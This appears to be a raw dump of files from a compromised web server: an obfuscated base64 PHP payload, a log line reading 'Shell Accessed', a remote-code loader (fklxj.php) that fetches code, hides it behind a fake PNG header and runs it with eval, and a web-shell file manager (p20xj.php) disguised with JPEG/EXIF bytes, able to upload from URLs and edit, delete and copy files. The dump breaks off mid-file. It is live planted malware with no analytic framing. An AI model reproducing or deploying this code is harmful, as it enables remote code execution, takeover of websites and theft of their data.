2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM 0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf 0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV 17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH +nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO 6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+ fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8 TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4 6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4 to3nPs1CFw74FSzShaD+W5aWN9oiZeB pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT 6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb 6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7 sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO 7nip56POvqvOvv'; public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK'); public $_worker; } new Div(); ?>samurai_activity.log000064400000000325151550042170010624 0ustar00[2026-03-13 04:28:22] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c fklxj.php000064400000005651151550042170006402 0ustar00eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // -------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?> p20xj.php000064400000561505151550042170006234 0ustar00ÿØÿà JFIF ,, AMPFÿá&ÿExif MM *     ž   ¤       ²   º(    1  Â2   Ê<   Þ    ‡i   ìˆ%   x ®Apple iPhone 13 Pro H  H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š   ®‚   ¶ˆ"    ˆ'   }  0232   ¾   Ґ  æ  î  ö‘  ’  þ’   ’ '2e35b702f2cd5011321dbea58cd4700c', 'user' => '2e35b702f2cd5011321dbea58cd4700c' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { 